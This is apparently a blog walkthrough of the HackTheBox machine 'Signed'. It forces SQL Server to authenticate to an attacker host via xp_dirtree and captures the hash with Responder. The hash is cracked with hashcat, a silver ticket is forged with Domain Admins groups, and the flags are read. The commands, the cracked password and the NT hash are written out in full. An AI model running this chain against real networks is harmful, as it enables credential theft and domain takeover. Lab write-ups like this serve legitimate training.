Skip to main content
  1. Posts/

HTB Windows Medium: Signed

·6 mins
Machine/Room HackTheBox Windows privilege escalation penetration testing

1. Reconnaissance #

First, we run nmap to see which services are open:

┌──(havertz2110㉿kali)-[~]
└─$ nmap -sC -sV 10.10.11.90 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 14:24 EST
Nmap scan report for 10.10.11.90 (10.10.11.90)
Host is up (0.21s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.90:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.90:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-11-16T18:59:18+00:00; -28m23s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-15T06:15:36
|_Not valid after:  2055-11-15T06:15:36

Host script results:
|_clock-skew: mean: -28m23s, deviation: 0s, median: -28m23s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.58 seconds

From the scan results, we can draw a few basic conclusions:

  • There is an MsSQL Server running → we can use impacket-mssqlclient.
  • There is a SIGNED Domain and the SPN MSSQLSvc/dc01.signed.htb → this SQL Server is running in an AD environment.

When dealing with a SQL Server in a domain, we can think of 2 attack vectors:

  • Vector 1: use xp_dirtree/xp_fileexist + a UNC path pointing to the attacker → capture the NetNTLM of the account running SQL (in many cases this account has higher privileges). After obtaining the service account credential, we can proceed with Kerberos abuse (silver ticket, constrained delegation, etc.).
  • Vector 2: abuse xp_cmdshell in case the available account has sysadmin privileges for RCE (low likelihood).

→ Since there’s nothing else to exploit, we’ll go with vector 1.

2. Initial Access #

First, we connect to the SQL Server with impacket using the credentials provided in the machine’s description, and force the SQL server to access a UNC path pointing to the attacker (us). It will then use the service/domain account to authenticate, allowing us to capture the hash. To do this we’ll use Responder to pose as a server → receive NTLMv2, crack with hashcat.

Here we set up an additional terminal running responder with the command sudo -I responder tun0 -v as follows:

image.png

We use the command EXEC master..xp_dirtree '\\10.10.14.129\share'; to make a request to the UNC path, and immediately capture the hash on Responder as follows:

image.png

I’m recording it as text for easier handling later:

[SMB] NTLMv2-SSP Client   : 10.10.11.90
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:cbefbbb4ec29815e:672A34094733E91B79751767075A8657:010100000000000080E107510B57DC013C75714D289AEFE70000000002000800440035003100550001001E00570049004E002D0043004E004B004E004E0046005800490050004F00430004003400570049004E002D0043004E004B004E004E0046005800490050004F0043002E0044003500310055002E004C004F00430041004C000300140044003500310055002E004C004F00430041004C000500140044003500310055002E004C004F00430041004C000700080080E107510B57DC0106000400020000000800300030000000000000000000000000300000CA243726228816FA2963DC6424B6CCD54F8EB7BD042FCD0CE53E60BE91DF4FBE0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320039000000000000000000  

With the NTLM hash, we use hashcat to crack it with the command hashcat -m 5600 hash.txt rockyou.txt --show:

└─$ hashcat -m 5600 hash.txt rockyou.txt --show 

MSSQLSVC::SIGNED:cbefbbb4ec29815e:672a34094733e91b79751767075a8657:010100000000000080e107510b57dc013c75714d289aefe70000000002000800440035003100550001001e00570049004e002d0043004e004b004e004e0046005800490050004f00430004003400570049004e002d0043004e004b004e004e0046005800490050004f0043002e0044003500310055002e004c004f00430041004c000300140044003500310055002e004c004f00430041004c000500140044003500310055002e004c004f00430041004c000700080080e107510b57dc0106000400020000000800300030000000000000000000000000300000ca243726228816fa2963dc6424b6ccd54f8eb7bd042fcd0ce53e60be91df4fbe0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100320039000000000000000000:purPLE9795!@

Now that we have the service account’s credentials, we reconnect to the MsSQL server:

image.png

We check whether this account has sysadmin privileges with the query SELECT IS_SRVROLEMEMBER('sysadmin');. It returns 0 → it doesn’t:

image.png

Hmm, we’re a bit stuck at this point, but since our goal is privilege escalation, we need to know what we have to escalate from. So here we try to enumerate which groups/users exist in this SIGNED domain:

SQL (SIGNED\mssqlsvc  guest@master)> SELECT name, type_desc, sid  FROM sys.server_principals WHERE name LIKE 'SIGNED\%' ORDER BY name;
name                  type_desc                                                               sid   
-------------------   -------------   -----------------------------------------------------------   
SIGNED\Domain Users   WINDOWS_GROUP   b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000'   

SIGNED\IT             WINDOWS_GROUP   b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'   

SQL (SIGNED\mssqlsvc  guest@master)> 

From the information above, the SIGNED\IT group looks quite promising. For the purpose of forging a silver ticket, we’ll need to decode these sids to obtain the RID. First, for SIGNED\IT, we convert it to bytes:

01 05 00 00 00 00 00 05 15 00 00 00 5b 7b b0 f3 98 aa 22 45 ad 4a 1c a4 51 04 00 00

Its SID in Windows format looks like this:

01 → revision

05 → sub-authority count

00 00 00 00 00 05authority = 5 → S-1-5

15 00 00 0021 → S-1-5-21

Then each 4-byte block (in LE) is one number:

5b 7b b0 f3 → 4088429403

98 aa 22 451159899800

ad 4a 1c a4 → 2753317549

51 04 00 000x00000451 = 1105

Putting it all together, we get:

S-1-5-21-4088429403-1159899800-2753317549-1105

At this point, to forge a silver ticket, we’ll need the following information:

nthash - not yet
DOMSID = S-1-5-21-4088429403-1159899800-2753317549
domain = SIGNED.HTB
spn = MSSQLSvc/DC01.SIGNED.HTB
groups = 512, IT_RID(1105)
user-id = MSSQLSVC_RID(not yet) mssqlsvc

To find MSSQLSVC_RID, we use the following command to extract the sid:

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\MSSQLSVC');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'

Decoding it gives us S-1-5-21-4088429403-1159899800-2753317549-1103.

That leaves only the service account’s nthash. To get it, we compute it with the following command:

└─$ echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl md4

MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc

3. Privilege Escalation #

Now we have all the necessary information, so we proceed to forge the silver ticket with the following commands:

──(havertz2110㉿kali)-[~]
└─$ nthash="ef699384c3285c54128a3ee1ddb1a0cc"
                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ DOMSID="S-1-5-21-4088429403-1159899800-2753317549"
                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ IT_RID=1105
                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ MSSQLSVC_RID=1103

                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ impacket-ticketer \
  -nthash $nthash \
  -domain-sid "$DOMSID" \
  -domain SIGNED.HTB \
  -spn MSSQLSvc/DC01.SIGNED.HTB \
  -groups 512,$IT_RID \
  -user-id $MSSQLSVC_RID mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SIGNED.HTB/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

We have now packaged the silver ticket. To use it, we need to set the environment variable KRB5CCNAME. If we don’t set it, Kerberos will use the default cache at /tmp/krb5cc_<uid>, which doesn’t contain the ticket we just created.

So we set the environment variable to tell Kerberos to use this ticket, then verify:

┌──(havertz2110㉿kali)-[~]
└─$ export KRB5CCNAME="$(pwd)/mssqlsvc.ccache"                                               
                                                                                                                                                                                                                                                                                            
┌──(havertz2110㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/home/havertz2110/mssqlsvc.ccache
Default principal: mssqlsvc@SIGNED.HTB

Valid starting       Expires              Service principal
11/17/2025 08:57:09  11/15/2035 08:57:09  MSSQLSvc/DC01.SIGNED.HTB:1433@SIGNED.HTB
        renew until 11/15/2035 08:57:09

→ Done. Now we use the silver ticket to log in:

┌──(havertz2110㉿kali)-[~]
└─$ sudo impacket-mssqlclient -k 'SIGNED.HTB/mssqlsvc@dc01.SIGNED.HTB' -windows-auth -no-pass
  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  dbo@master)>  SELECT * FROM OPENROWSET(BULK N'C:\Users\mssqlsvc\Desktop\user.txt', SINGLE_CLOB) AS t;
BulkColumn                                
---------------------------------------   
b'1cbf0b30c88ca607f6c8e6e3fced2757\r\n'   

SQL (SIGNED\mssqlsvc  dbo@master)>  SELECT * FROM OPENROWSET(BULK N'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS t;
BulkColumn                                
---------------------------------------   
b'c646b7a164e807cdea31fa12ffb086c0\r\n'   

SQL (SIGNED\mssqlsvc  dbo@master)> 

Note: during the final impacket step, you may sometimes encounter the error "..the login is from an untrusted domain and cannot be used with Integration authentication". There are 2 ways to fix it:

  • Sync your machine’s clock with the server’s clock
  • Prepend sudo to the impacket command